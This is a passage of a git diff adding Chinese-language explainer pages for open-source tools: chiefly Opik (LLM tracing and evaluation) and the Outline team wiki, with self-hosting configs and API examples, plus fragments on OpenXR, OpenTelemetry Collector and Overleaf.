+XrActionStateFloat triggerState{XR_TYPE_ACTION_STATE_FLOAT};
+xrGetActionStateFloat(session, &getInfo, &triggerState);
+if (triggerState.currentState > 0.5f) { /* 开火 */ }
+```
+
+这样「扳机」在不同手柄上由 Runtime 映射，应用只读 0~1 浮点。
+
+## 仓库结构与学习路径
+
+| 路径 | 内容 |
+|------|------|
+| `include/openxr/` | 标准头文件 `openxr.h`、`openxr_platform.h` |
+| `src/loader/` | Loader 实现，理解实例与 dispatch |
+| `src/tests/hello_xr/` | **首选阅读**：完整图形绑定 + 多后端示例 |
+| `src/api_layer/` | 如何编写 API Layer |
+| `specification/registry/xr.xml` | 机器可读 API 注册表 |
+
+建议学习顺序：**规范导读（Instance → Session → Rendering 三章）→ 构建 hello_xr → 改图形后端（Vulkan/OpenGL）→ 加 Action 输入**。若做 Android/Quest，再查 `XR_KHR_android_create_instance`、`XR_KHR_opengl_es_enable` 等扩展。
+
+## OpenXR-SDK 与 OpenXR-SDK-Source 怎么选
+
+| 项目 | 适用场景 |
+|------|----------|
+| **OpenXR-SDK-Source** | 改 Loader、写 Layer、读测试与生成逻辑、贡献 Khronos |
+| **OpenXR-SDK** | 游戏/引擎集成：预生成头文件，CMake `find_package(OpenXR)` |
+
+## 与 WebXR、引擎的关系
+
+- **WebXR**（浏览器内）是另一套 JS API，概念上与 OpenXR 平行：会话、参考空间、XR 帧回调。A-Frame、Three.js 封装的是 WebXR，不是直接链 OpenXR C API
+- **Godot 4 / Unity / Unreal** 通过官方或插件 OpenXR 后端对接 PC/独立头显；自研引擎则常直接链 Loader + Vulkan
+
+## 常见坑
+
+1. **未装 Runtime**：PC 上无 SteamVR / Oculus / Monado 等时，`xrGetSystem` 会失败——不是 SDK 坏了，是「放映厅没开门」
+2. **图形绑定不匹配**：Session 的 `next` 链必须填与当前设备兼容的 `XrGraphicsBinding*`，且扩展已在 Instance 启用
+3. **在错误 Session 状态渲染**：非 `FOCUSED` 时 `xrWaitFrame` 可能阻塞或返回空帧
+4. **Swapchain 格式**：用 `xrEnumerateSwapchainFormats` 选 Runtime 支持的格式，别硬套桌面 SDR 格式
+5. **混淆两个仓库**：应用集成优先 **OpenXR-SDK**；读 Loader 源码才去 **OpenXR-SDK-Source**
+
+## 进一步阅读
+
+- [OpenXR 1.1 规范（HTML）](https://registry.khronos.org/OpenXR/specs/1.1/html/xrspec.html)
+- [Loader 设计与运作](https://registry.khronos.org/OpenXR/specs/1.0/loader.html)
+- [OpenXR API 手册页](https://registry.khronos.org/OpenXR/specs/1.1/man/html/openxr.html)
+- [hello_xr 源码](https://github.com/KhronosGroup/OpenXR-SDK-Source/tree/main/src/tests/hello_xr)
+- [Khronos OpenXR 门户](https://www.khronos.org/openxr)
diff --git a/src/content/docs/projects/operator-sdk.md b/src/content/docs/projects/operator-sdk.md
index 2db4e4a52..674cd1b34 100644
--- a/src/content/docs/projects/operator-sdk.md
+++ b/src/content/docs/projects/operator-sdk.md
@@ -2,7 +2,7 @@
 title: Operator SDK — 写 K8s Operator 的"豪华套餐"版脚手架
 来源: https://github.com/operator-framework/operator-sdk
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/opik.md b/src/content/docs/projects/opik.md
new file mode 100644
index 000000000..7e1687e5a
--- /dev/null
+++ b/src/content/docs/projects/opik.md
@@ -0,0 +1,263 @@
+---
+title: Opik — 追踪、评估、提示词与 Agent 守护的 LLMOps 框架
+date: 2026-06-13
+分类: 机器学习
+子分类: 系统与平台
+来源: https://github.com/comet-ml/opik
+provenance: pipeline-v3
+---
+
+## 日常类比：飞行记录仪 + 质检车间 + 调参台
+
+把手机壳工厂想成一家「AI 应用工厂」：
+
+- **客户投诉**：答案胡编、越权、Agent 死循环  
+- **车间主任的三件事**：  
+  1. **飞行记录仪（Tracing）**：每一步谁说了什么、调了哪个工具、花了多少 token  
+  2. **质检线（Evaluation）**：出货前用标准卷宗批量打分  
+  3. **调参台（Optimization）**：根据次品反推提示词该怎么改  
+
+[Opik](https://github.com/comet-ml/opik)（Comet 开源，Apache 2.0）就是这套车间的**一体化系统**：Python/TypeScript SDK、自托管 Docker Compose 或 Comet 云、OpenTelemetry 兼容 trace、在线/离线评测、提示词实验与 **OPIK Agent Optimizer**（论文见 [Opik Agent Optimization](../../papers/opik-agent-optimization.md)）。
+
+它和纯「评测脚本集合」不同：强调 **生产可观测 → 结构化评估 → 闭环优化** 的一条链。
+
+---
+
+## 是什么：LLMOps 里 Opik 占哪一块
+
+```mermaid
+flowchart LR
+  subgraph App["你的应用"]
+    SDK["Opik SDK\n@opik / opik"]
+    OTEL["OTEL exporter\n(可选)"]
+  end
+  subgraph Opik["Opik Server / Backend"]
+    T["Trace 存储与 UI"]
+    E["Datasets & Experiments"]
+    G["在线 Rules / Guardrails"]
+    O["Optimizer 任务"]
+  end
+  SDK --> T
+  OTEL --> T
+  E --> E
+  T --> G
+  E --> O
+```
+
+| 能力 | 一句话 |
+|------|--------|
+| **Tracing** | 嵌套 span：模型、工具、检索、Agent 回合 |
+| **Evaluation** | 数据集项 + `evaluate()` / experiment 对比指标 |
+| **在线评估** | 抽样把 trace 送进 metrics / 自定义 scorer |
+| **Annotations** | 人在 UI 上标对错，反哺评测集 |
+| **Prompt 管理** | 版本、Playground、与实验绑定 |
+| **Agent Optimizer** | 用失败轨迹迭代提示词（MetaPrompt、GEPA 等） |
+| **Guardrails** | 规则 + LLM Judge 拦截次品输出 |
+
+README 称单节点 **>100k traces/秒** ingest、百万级检索（具体取决于部署与硬件）。
+
+---
+
+## 核心概念
+
+### 1. Trace / Span 与 `@track`
+
+一次用户请求是一棵 **trace**；每个 LLM 调用、工具、子 Agent 是 **span**。`@track` 装饰器自动记录输入输出、耗时、错误，并支持 `flush_tracker`、`sleep` 等异步场景。
+
+### 2. Dataset、Experiment、Metric
+
+- **Dataset**：`DatasetItem(input=..., expected_output=...)` 列表  
+- **Experiment**：对同一 dataset 跑多组配置（模型、prompt 版本）  
+- **Metric**：`context_precision`、`answer_relevance` 或自定义 `BaseMetric`  
+
+这与 [Mira 多维度评测基准](../../papers/mira-rubric.md) 强调的「rubric 可审计」互补：Opik 管**流水线**，Mira 管**题目与准则长什么样**。
+
+### 3. 在线 vs 离线评估
+
+- **离线**：发版前 `evaluate()` 全量扫 dataset  
+- **在线**：production trace 抽样 → scorer → 超阈值告警（对接 [[steering-vector-constraint]] 一类「事后约束」时，常先要有 trace 才知道约束是否生效）
+
+### 4. OpenTelemetry
+
+已有 OTEL 栈的应用可把 exporter 指到 Opik，避免双写 SDK；见官方 OpenTelemetry 文档。
+
+### 5. 与竞品简表
+
+| 维度 | Opik | Langfuse | Arize Phoenix |
+|------|------|----------|---------------|
+| 自托管 | Docker Compose | 有 | 有 |
+| 评测 + 实验 | 一等公民 | 有 | 偏观测 |
+| Prompt 优化器 | OPIK Agent Optimizer | 较弱 | 无 |
+| OpenTelemetry | 支持 | 支持 | 支持 |
+
+选型：要 **评+优+观** 一体且能接受 Comet 生态 → Opik；只要 trace UI → 三皆可。
+
+---
+
+## 例子 A：最小 Trace + 装饰器
+
+```python
+import opik
+from opik import track
+
+opik.configure(use_local=True)  # 或 cloud API key
+
+@track
+def retrieve(query: str) -> list[str]:
+    return ["doc-1: refund policy 30 days"]
+
+@track
+def generate_answer(query: str, docs: list[str]) -> str:
+    ctx = "\n".join(docs)
+    return f"Based on: {ctx}\nAnswer: You may return within 30 days."
+
+@track
+def handle_ticket(query: str) -> str:
+    docs = retrieve(query)
+    return generate_answer(query, docs)
+
+if __name__ == "__main__":
+    print(handle_ticket("What is the refund policy?"))
+    opik.flush_tracker()
+```
+
+在 Opik UI 里应看到 **3 层 span**：`handle_ticket` → `retrieve` / `generate_answer`，便于对照 [[mem-ft-lora|Mem@M_{FT+LoRA}]] 式「记忆写了但模型没用」类问题。
+
+---
+
+## 例子 B：离线 `evaluate()` + 内置指标
+
+```python
+import os
+from opik import Opik
+from opik.evaluation import evaluate
+from opik.evaluation.metrics import (
+    AnswerRelevance,
+    ContextPrecision,
+    Hallucination,
+)
+
+client = Opik(use_local=True)
+
+dataset = client.get_or_create_dataset("support-faq-v1")
+dataset.insert([
+    {"input": "refund window?", "expected_output": "30 days"},
+    {"input": "shipping to EU?", "expected_output": "5-7 business days"},
+])
+
+def pipeline(item):
+    # 生产中替换为真实 RAG + LLM
+    return {"output": "30 days", "context": ["policy doc"]}
+
+result = evaluate(
+    dataset=dataset,
+    task=pipeline,
+    scoring_metrics=[
+        AnswerRelevance(),
+        ContextPrecision(),
+        Hallucination(),
+    ],
+    experiment_name="baseline-gpt4o-mini",
+    project_name="support-bot",
+)
+
+print(result)
+```
+
+`evaluate()` 会为每条样本写 experiment 行，UI 可对比多次实验。敏感场景可把 `Hallucination` 换成规则 + 人审 [[dwork-differential-privacy-2006|差分隐私]] 发布前的红队集。
+
+---
+
+## 例子 C：TypeScript（Next.js API Route）
+
+```typescript
+import { Opik } from "opik";
+
+const client = new Opik({
+  projectName: "my-app",
+  // apiKey / baseUrl from env
+});
+
+export async function POST(req: Request) {
+  const { message } = await req.json();
+  const trace = client.trace({ name: "chat-turn", input: { message } });
+
+  const span = trace.span({
+    name: "llm-call",
+    type: "llm",
+    input: { prompt: message },
+  });
+
+  const answer = await callYourModel(message); // your wrapper
+
+  span.end({ output: { answer } });
+  trace.end({ output: { answer } });
+  await client.flush();
+
+  return Response.json({ answer });
+}
+```
+
+与 [[anyscale-ray-data|Ray Data]] 批推理对比：Opik 管**单次请求可解释性**；Ray Data 管**离线大批量吞吐**——常组合使用（Ray 跑批，Opik 抽样子集做 eval）。
+
+---
+
+## 例子 D：自托管与生产注意点
+
+```bash
+git clone https://github.com/comet-ml/opik.git
+cd opik
+./opik.sh
+
+export OPIK_URL_OVERRIDE=http://localhost:5173/api
+export OPIK_WORKSPACE=default
+```
+
+- **数据驻留**：金融/医疗常必须 `use_local=True`  
+- **采样率**：在线评估对 100% trace 跑 LLM Judge 会贵，用 `sample_rate`  
+- **PII**： SDK `privacy` / 脱敏规则，避免把身份证写进 span  
+- **与 [[SGLang|SGLang]] / [[vLLM|vLLM]]**：在推理网关外侧包一层 `@track`，不要改引擎内核  
+
+---
+
+## 与「训练 / 推理 / 安全」文献的衔接
+
+| 主题 | 关联 |
+|------|------|
+| Agent 优化 | [Opik Agent Optimization](../../papers/opik-agent-optimization.md) — MetaPrompt、Few-shot、GEPA |
+| KV / 吞吐 | 观测到 TTFT 尖刺后，再查 [[Mooncake|Mooncake]]、[[FlashAttention-2|FA2]] |
+| 对齐与约束 | 在线规则类似轻量 [[Safe RLHF|Safe RLHF]] 部署侧护栏 |
+| 评测哲学 | [[MIRA|MIRA]] 定 rubric，Opik 跑 experiment |
+| LLM Judge | [[llm-as-judge|LLM-as-a-Judge]] 可作 Opik 自定义 metric 的理论背景 |
+| RAG 错误 | `ContextPrecision` 低 → 查索引与 [[DistServe|DistServe]] 路由是否拿错 shard |
+
+---
+
+## 局限与选型建议
+
+- **运维成本**：自托管等于多一套有状态服务（Postgres/ClickHouse 等，以当前 `opik.sh` 为准）  
+- **Judge 偏差**：`Hallucination` 等 LLM metric 会继承评委模型偏见，关键域要加人审 [[实体追踪与状态表示|实体追踪]] 式黄金集  
+- **不是功能开关**：Opik 不会替你修提示词，Optimizer 需预算与失败样本  
+- **竞品迁移**：Langfuse export、OTEL 可减轻锁定  
+
+**适合**：已有 Python/TS Agent、需要 **可复现实验 + 生产 trace 同源** 的团队。  
+**暂缓**：仅做一次性脚本、无多版本 prompt、无合规留痕需求。
+
+---
+
+## 动手清单
+
+1. `./opik.sh` 起本地，浏览器打开 UI  
+2. 用 **例子 A** 打一条 trace，确认 span 树  
+3. 建 10 条 `DatasetItem`，跑 **例子 B**，截一张 experiment 对比图  
+4. 选一个 production 失败 case，在 UI **Annotate**，加入下一版 dataset  
+5. 读 [Optimizer 文档](https://www.comet.com/docs/opik/agent_optimization/overview)，对一个 metric 最低的项跑 small budget 优化  
+
+---
+
+## 参考资料
+
+- 仓库：<https://github.com/comet-ml/opik>
+- 文档：<https://www.comet.com/docs/opik/>
+- 论文：[Opik Agent Optimization](../../papers/opik-agent-optimization.md)
+- 相关笔记：[[mcp-ts-sdk]]（工具 trace）、[[wandb]]（训练实验，与 LLM eval 可并存）、[[llm-as-judge|LLM-as-a-Judge]]
diff --git a/src/content/docs/projects/otel-collector.md b/src/content/docs/projects/otel-collector.md
index 2d17cf0f3..b75f5e1aa 100644
--- a/src/content/docs/projects/otel-collector.md
+++ b/src/content/docs/projects/otel-collector.md
@@ -2,7 +2,7 @@
 title: OpenTelemetry Collector — 可观测性数据的统一中转站
 来源: https://opentelemetry.io/docs/collector/
 日期: 2026-05-31
-子分类: 基础设施 / 可观测性
+子分类: 可观测性
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/outline.md b/src/content/docs/projects/outline.md
new file mode 100644
index 000000000..9f1f27113
--- /dev/null
+++ b/src/content/docs/projects/outline.md
@@ -0,0 +1,405 @@
+---
+title: Outline — 团队 Wiki 协作平台
+来源: https://github.com/outline/outline
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：公司图书馆，而不是聊天里的「第 17 版文档」
+
+想象你们团队有一间 **内部图书馆**：
+
+- **书架（Collection）** 按主题分区：工程、产品、人事、运维……
+- **每一页（Document）** 是一篇可不断修订的文章，支持标题、目录、代码块、表格、嵌入图。
+- **馆员系统（权限）** 决定谁能读、谁能改、谁能对外借出复印件（公开链接）。
+- **实时共编** 像多人同时在同一页白板上写字——你看见同事的游标，不用等「张三改完发你 v8.docx」。
+
+而很多团队的现状是：知识散落在 Slack 线程、Google Docs 文件夹、某次 onboarding 的 Notion 副本里。**新人问「部署流程在哪？」**，老员工翻聊天记录五分钟，复制粘贴一个过期链接。
+
+**Outline**（[outline/outline](https://github.com/outline/outline)）就是为这种场景设计的 **团队知识库 / Wiki**：Markdown 友好、搜索极快、实时协作、可自托管。官方托管见 [getoutline.com](https://www.getoutline.com)；源码在 GitHub 上 3 万+ Star，技术社区常把它当作 Notion Wiki 区或 Confluence 的现代化替代。
+
+零基础路径：**浏览 demo 或试用云版 → 理解 Collection / Document 结构 → 用 API 或 Docker 自建 → 接 Slack / SSO**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：文档版本在 IM 里流转，没有「单一事实来源」
+
+部署手册、onboarding、事故复盘若只活在聊天里，**检索成本** 和 **过期风险** 会指数上升。Outline 把内容收敛到可搜索、可链接、可权限管控的 workspace，每篇文档有稳定 URL，改一处全员可见。
+
+### 痛点 2：传统企业 Wiki（Confluence 等）又慢又重
+
+Outline 从设计上强调 **毫秒级加载** 和 **Notion 式编辑体验**：斜杠命令插入块、拖拽图片、Mermaid 图、KaTeX 公式、代码高亮。写内部文档应该像写笔记，而不是填企业 CMS 表单。
+
+### 痛点 3：SaaS 知识库的数据主权与按席位计费
+
+Outline 支持 **Docker 自托管**（PostgreSQL + Redis + S3 兼容存储），团队规模扩大时不按人头涨价。许可为 **BSL 1.1**（四年后转为 Apache 2.0）——源码公开、可审计，但需注意与「纯 OSI 开源」定义的差别。
+
+### 痛点 4：文档与日常工作流脱节
+
+内置 **Slack** 集成：在频道里搜索、分享、订阅文档更新；**REST API** 支持用 CI 自动生成 runbook、同步发布说明；**Webhook** 可在文档创建/更新时触发内部自动化。
+
+---
+
+## 核心概念拆解
+
+### 1. Workspace（工作区）
+
+一个 Outline 实例通常对应一个 **Workspace**——相当于整间「图书馆」。用户、团队、权限、集成配置都在 workspace 级别管理。自托管时你的域名（如 `https://wiki.example.com`）即 workspace 入口。
+
+### 2. Collection（集合 / 书架）
+
+Collection 是 **顶层内容分区**，类似「工程文档」「产品规格」「公司政策」。特点：
+
+- 扁平列表，**不是** BookStack 那种多层书架嵌套；
+- 可配置图标、颜色、排序；
+- 权限可在 collection 级别设置 **读 / 写 / 管理**。
+
+### 3. Document（文档 / 页面）
+
+Document 是基本内容单元，存储 **ProseMirror** 富文本（底层兼容 Markdown 导入导出）。支持：
+
+- **无限层级子文档**：`parentDocumentId` 形成树形目录；
+- **草稿与发布**：`publishedAt` 为空表示未发布；
+- **模板**：复用 onboarding、RFC、事故报告等结构；
+- **评论与 @提及**：讨论留在文档上下文，不散落在 Slack。
+
+### 4. 搜索（Search）
+
+服务端用 PostgreSQL **`tsvector` / `tsquery`** 做全文检索，并结合 `popularityScore` 等信号排序。云版还提供 **AI 问答**（对 workspace 内文档提问）。自托管团队通常先依赖经典关键词搜索，已足够快。
+
+### 5. 权限模型（Policies）
+
+后端用 **cancan** 策略集中鉴权：用户、用户组（Group）、Collection 成员关系、Guest 用户、公开分享链接各自有规则。API 与 Web UI 走同一套 policy，避免「网页能看、API 不能调」的双轨权限。
+
+### 6. 认证（Authentication）
+
+**重要**：Outline **没有内置邮箱+密码注册**。必须接外部 IdP：
+
+| 方式 | 典型场景 |
+|------|----------|
+| Google / Slack OAuth | 小团队快速上线 |
+| OIDC（Authentik、Keycloak） | 自托管统一身份 |
+| SAML / Azure AD | 企业 SSO |
+| API Key（Bearer） | 脚本与 CI 调用 |
+
+### 7. 技术栈一览
+
+| 层 | 技术 |
+|----|------|
+| 前端 | React + Vite + MobX + Styled Components |
+| 编辑器 | ProseMirror（`shared/editor`） |
+| 后端 | Koa + Sequelize + PostgreSQL |
+| 队列 / 实时 | Redis + Bull；WebSocket 协作 |
+| 文件 | 本地卷或 S3 / MinIO |
+
+架构说明见仓库 [docs/ARCHITECTURE.md](https://github.com/outline/outline/blob/main/docs/ARCHITECTURE.md)。
+
+---
+
+## 内容组织建议
+
+适合 growing team 的一种结构：
+
+```
+Workspace
+├── Collection: Engineering
+│   ├── Document: 架构总览
+│   │   ├── 子文档: 认证服务
+│   │   └── 子文档: 数据管道
+│   └── Document: On-call Runbook
+├── Collection: Product
+│   └── Document: PRD 模板
+└── Collection: Company
+    └── Document: 休假政策
+```
+
+原则：
+
+1. **Collection 少而清晰**（5–12 个），避免「 Uncategorized 垃圾堆」；
+2. **深层级用子文档**，不要把所有标题都拍平在一页；
+3. **Runbook / 政策 / 模板** 单独成 collection，方便权限收口；
+4. 对外分享用 **Share link**，对内用 group 权限，不要混用。
+
+---
+
+## 代码示例 1：Docker Compose 自托管最小栈
+
+官方推荐 Docker 部署。下面示例包含 Outline、PostgreSQL、Redis，以及用 **https-portal** 自动申请 HTTPS（生产请 **固定镜像版本**，勿长期用 `latest`）：
+
+```yaml
+# docker-compose.yml — 摘自 Outline 官方 Docker 文档的简化版
+services:
+  outline:
+    image: docker.getoutline.com/outlinewiki/outline:1.2.0
+    env_file: ./docker.env
+    expose:
+      - "3000"
+    volumes:
+      - storage-data:/var/lib/outline/data
+    depends_on:
+      - postgres
+      - redis
+
+  redis:
+    image: redis:7-alpine
+    expose:
+      - "6379"
+    volumes:
+      - ./redis.conf:/redis.conf
+    command: ["redis-server", "/redis.conf"]
+
+  postgres:
+    image: postgres:18
+    expose:
+      - "5432"
+    volumes:
+      - database-data:/var/lib/postgresql
+    environment:
+      POSTGRES_USER: outline
+      POSTGRES_PASSWORD: outline_pass
+      POSTGRES_DB: outline
+
+  https-portal:
+    image: steveltn/https-portal:1
+    ports:
+      - "80:80"
+      - "443:443"
+    environment:
+      DOMAINS: "docs.example.com -> http://outline:3000"
+      STAGE: "production"
+      WEBSOCKET: "true"   # 实时协作依赖 WebSocket
+    volumes:
+      - https-portal-data:/var/lib/https-portal
+
+volumes:
+  storage-data:
+  database-data:
+  https-portal-data:
+```
+
+`docker.env` 中至少需要（值请换成强随机串）：
+
+```bash
+NODE_ENV=production
+URL=https://docs.example.com
+PORT=3000
+SECRET_KEY=generate_a_long_random_string
+UTILS_SECRET=another_long_random_string
+DATABASE_URL=postgres://outline:outline_pass@postgres:5432/outline
+REDIS_URL=redis://redis:6379
+FILE_STORAGE=local
+FILE_STORAGE_LOCAL_ROOT_DIR=/var/lib/outline/data
+
+# OIDC 示例（以 Authentik 为例）
+OIDC_CLIENT_ID=outline
+OIDC_CLIENT_SECRET=your_oidc_secret
+OIDC_AUTH_URI=https://auth.example.com/application/o/authorize/
+OIDC_TOKEN_URI=https://auth.example.com/application/o/token/
+OIDC_USERINFO_URI=https://auth.example.com/application/o/userinfo/
+OIDC_LOGOUT_URI=https://auth.example.com/application/o/outline/end-session/
+```
+
+启动与更新：
+
+```bash
+docker compose up -d
+docker compose logs -f outline   # 确认 DB/Redis 连接成功
+# 升级前：备份 Postgres → 改镜像 tag → docker compose pull && docker compose up -d
+```
+
+**反代注意**：Nginx/Caddy 必须透传 `Upgrade` 与 `Connection` 头，否则实时协作会静默失败。
+
+---
+
+## 代码示例 2：REST API 创建与搜索文档
+
+Outline API 是 **RPC 风格**：`POST /api/<method>`，与官方 Web 应用共用同一套接口。认证推荐 **Header**：
+
+`Authorization: Bearer ol_api_xxxxxxxx`
+
+在 **Settings → API Keys** 创建 Key，可按 endpoint 设 scope（如 `documents.*`）。
+
+### Bash：创建并发布一篇 Runbook
+
+```bash
+OUTLINE_URL="https://docs.example.com"
+API_KEY="ol_api_your_key_here"
+COLLECTION_ID="550e8400-e29b-41d4-a716-446655440000"  # 浏览器地址栏可见
+
+curl -sS "${OUTLINE_URL}/api/documents.create" \
+  -X POST \
+  -H "Authorization: Bearer ${API_KEY}" \
+  -H "Content-Type: application/json" \
+  -H "Accept: application/json" \
+  -d "$(jq -n \
+    --arg title "生产部署 Runbook" \
+    --arg text "$(cat <<'MD'
+## 概述
+
+本文描述主站发布流程。
+
+## 检查清单
+
+- [ ] CI 全绿
+- [ ] 数据库迁移已 review
+- [ ] on-call 已知晓
+
+## 回滚
+
+见 [[回滚手册]] 子文档。
+MD
+)" \
+    --arg cid "${COLLECTION_ID}" \
+    '{title: $title, text: $text, collectionId: $cid, publish: true}')" \
+  | jq '.data | {id, urlId, title}'
+```
+
+### Python：封装客户端并搜索
+
+```python
+#!/usr/bin/env python3
+"""最小 Outline API 客户端：创建文档 + 全文搜索。"""
+import os
+import requests
+
+BASE = os.environ["OUTLINE_URL"].rstrip("/")
+TOKEN = os.environ["OUTLINE_API_KEY"]
+HEADERS = {
+    "Authorization": f"Bearer {TOKEN}",
+    "Content-Type": "application/json",
+    "Accept": "application/json",
+}
+
+def rpc(method: str, payload: dict | None = None) -> dict:
+    r = requests.post(f"{BASE}/api/{method}", headers=HEADERS, json=payload or {}, timeout=30)
+    r.raise_for_status()
+    body = r.json()
+    if not body.get("ok", True) and "data" not in body:
+        raise RuntimeError(body)
+    return body.get("data", body)
+
+if __name__ == "__main__":
+    # 1) 列出 collections，拿到 collectionId
+    collections = rpc("collections.list")
+    eng = next(c for c in collections if c["name"] == "Engineering")
+
+    # 2) 创建子文档（嵌套在父文档下）
+    doc = rpc("documents.create", {
+        "title": "Redis 故障应急",
+        "text": "## 症状\n\n缓存命中率骤降。\n\n## 处理\n\n1. 检查内存\n2. 切换只读副本",
+        "parentDocumentId": "PARENT_DOC_UUID",
+        "publish": True,
+    })
+    print("created:", doc["id"], doc.get("url"))
+
+    # 3) 搜索
+    hits = rpc("documents.search", {"query": "redis 故障", "limit": 5})
+    for item in hits:
+        print("-", item["document"]["title"], item.get("ranking"))
+```
+
+常见 RPC 方法：
+
+| 方法 | 用途 |
+|------|------|
+| `documents.list` | 按 collection / 父文档列出 |
+| `documents.info` | 按 id 或 shareId 取详情 |
+| `documents.update` | 更新正文或元数据 |
+| `documents.move` | 调整树位置 |
+| `documents.search` | 全文搜索 |
+| `collections.list` | 列出所有书架 |
+
+完整参考：[getoutline.com/developers](https://www.getoutline.com/developers)。
+
+---
+
+## 代码示例 3：CI 中自动同步 Changelog（思路）
+
+在 release workflow 里，用 API 把 `CHANGELOG.md` 对应章节写入 Outline，供非开发人员阅读：
+
+```yaml
+# .github/workflows/sync-outline.yml（片段）
+- name: Publish release notes to Outline
+  env:
+    OUTLINE_URL: ${{ secrets.OUTLINE_URL }}
+    OUTLINE_API_KEY: ${{ secrets.OUTLINE_API_KEY }}
+    OUTLINE_COLLECTION_ID: ${{ secrets.OUTLINE_COLLECTION_ID }}
+  run: |
+    BODY=$(jq -Rs . < RELEASE_NOTES.md)
+    jq -n \
+      --arg title "Release ${{ github.ref_name }}" \
+      --argjson text "$BODY" \
+      --arg collectionId "$OUTLINE_COLLECTION_ID" \
+      '{title: $title, text: $text, collectionId: $collectionId, publish: true}' \
+      | curl -fsS "$OUTLINE_URL/api/documents.create" \
+          -H "Authorization: Bearer $OUTLINE_API_KEY" \
+          -H "Content-Type: application/json" \
+          -d @-
+```
+
+这样 **Git 仍是源码真相**，Outline 是面向全公司的 **可读橱窗**。
+
+---
+
+## 与相近工具对比
+
+| 维度 | Outline | BookStack | Wiki.js | Notion |
+|------|---------|-----------|---------|--------|
+| 定位 | 团队 Wiki / 知识库 | 结构化手册 | 灵活 Wiki | 全能工作区 |
+| 实时协作 | ✅ | ❌ | ❌ | ✅ |
+| Markdown | 原生友好 | WYSIWYG 为主 | 原生 | 部分 |
+| 自托管 | ✅ Docker | ✅ | ✅ | ❌ |
+| 内置账号密码 | ❌ 需 SSO | ✅ | ✅ | SaaS |
+| API | REST RPC | REST | GraphQL | 有限 |
+| 许可 | BSL 1.1 | MIT | AGPL | 专有 |
+
+选型建议：
+
+- 要 **最好写的编辑器 + 实时共编** → Outline；
+- 要 **最简单自托管 + 传统书架** → BookStack；
+- 要 **GraphQL + 高度可定制** → Wiki.js；
+- 要 **表格数据库 + 轻量个人笔记** → Notion，但内部 Wiki 常变贵且难治理。
+
+---
+
+## 常见坑与排查
+
+1. **登录不了**：没配 OAuth/OIDC/SAML。先 `curl -X POST $URL/api/auth.config -d '{}'` 看启用的 provider。
+2. **协作不同步**：反代未开启 WebSocket；检查 `WEBSOCKET` 与 `Upgrade` 头。
+3. **上传附件失败**：`FILE_STORAGE` 配错；生产应用 S3/MinIO，并检查 bucket 权限。
+4. **API 403**：Key scope 过窄，或用户对目标 collection 无写权限。
+5. **升级后白屏**：看容器日志是否 migration 失败；升级前 **务必备份 Postgres**。
+6. **搜索不到新文档**：索引异步；极短延迟内属正常，持续缺失则查 DB `documents` 表与 `searchVector` 字段。
+
+---
+
+## 零基础实践路线（约 90 分钟）
+
+| 阶段 | 动作 | 产出 |
+|------|------|------|
+| 1. 体验 | 注册云版 trial 或浏览公开 changelog | 熟悉编辑器与 collection |
+| 2. 建模 | 建 2 个 collection、各 3 篇文档（含 1 个子文档） | 团队信息架构草案 |
+| 3. 协作 | 邀请同事同时编辑一篇 | 理解实时游标与评论 |
+| 4. 集成 | 接 Slack 搜索/分享（可选） | 降低「文档在 wiki 里吃灰」概率 |
+| 5. 自动化 | 用 API 创建一篇 CI 同步文档 | 验证可编程性 |
+| 6. 自托管 | Docker Compose + OIDC（实验环境） | 掌握依赖与备份流程 |
+
+---
+
+## 延伸阅读
+
+- 官方站点：[getoutline.com](https://www.getoutline.com)
+- 源码与 Star 历史：[github.com/outline/outline](https://github.com/outline/outline)
+- 自托管 Docker：[docs.getoutline.com — Docker](https://docs.getoutline.com/s/hosting/doc/docker-7pfeLP5a8t)
+- API 与鉴权：[开发者文档](https://www.getoutline.com/developers)、[API 指南](https://docs.getoutline.com/s/guide/doc/api-1rEIXDfLF6)
+- 架构总览：[docs/ARCHITECTURE.md](https://github.com/outline/outline/blob/main/docs/ARCHITECTURE.md)
+
+---
+
+## 小结
+
+Outline 把「团队知识」从聊天附件和过期 Google Doc 里拉出来，放进 **可搜索、可协作、可编程** 的 Wiki。日常类比就是 **公司内部图书馆**：Collection 是书架，Document 是活页册，API 是编目机器人，SSO 是借书证系统。零基础先会用云版编辑器，再按需 Docker 自托管并用 API 接入发布流程——大多数工程团队在这条路径上就能替代笨重的传统 Wiki，同时保留对数据的控制。
diff --git a/src/content/docs/projects/overleaf.md b/src/content/docs/projects/overleaf.md
new file mode 100644
index 000000000..07c7cc583
--- /dev/null
+++ b/src/content/docs/projects/overleaf.md
@@ -0,0 +1,358 @@
+---
+title: Overleaf — 在线 LaTeX 协作
+来源: https://github.com/overleaf/overleaf
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：多人共用的「排版云厨房」
+
+想象你和导师、同学要合写一本精装论文，但每人电脑上的 Word 版本、字体、公式插件都不一样，来回发邮件改第 17 版 PDF 会疯掉。
+
+**Overleaf** 就像一间 **开在浏览器里的共享排版厨房**：
+
+- **LaTeX 源码**（`.tex`）是统一菜谱——所有人改的是同一份「脚本」，不是各自改 PDF。
+- **云端编译** 是中央烤箱——你点 **Recompile**，服务器上的 TeX Live 帮你生成 PDF，左边写、右边即时预览，不用在本机装几个 GB 的 TeX 发行版。
+- **实时协作** 像 Google Docs，但底层是 **Operational Transformation（OT）+ WebSocket**：多人同时改同一段，服务器每隔几秒合并编辑，大家最终看到同一版本。
+- **Share / Track Changes / Comments** 则是审稿流程：邀请合作者、追踪谁改了什么、在段落旁留言，而不是在 PDF 上截图圈红。
+
+它和「本地 TeXstudio + 邮件传 zip」完全不同：**零安装、任意设备登录、协作与版本在同一项目里完成**。开源社区版 [overleaf/overleaf](https://github.com/overleaf/overleaf) 也可自托管；官方云服务见 [overleaf.com](https://www.overleaf.com)。文档：[Overleaf docs](https://docs.overleaf.com/)。
+
+零基础路径：**注册 → 新建 Blank/Example 项目 → 改 `main.tex` → Recompile 看 PDF → 邀请一位合作者试协同编辑**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：本地 LaTeX 环境难装、难统一
+
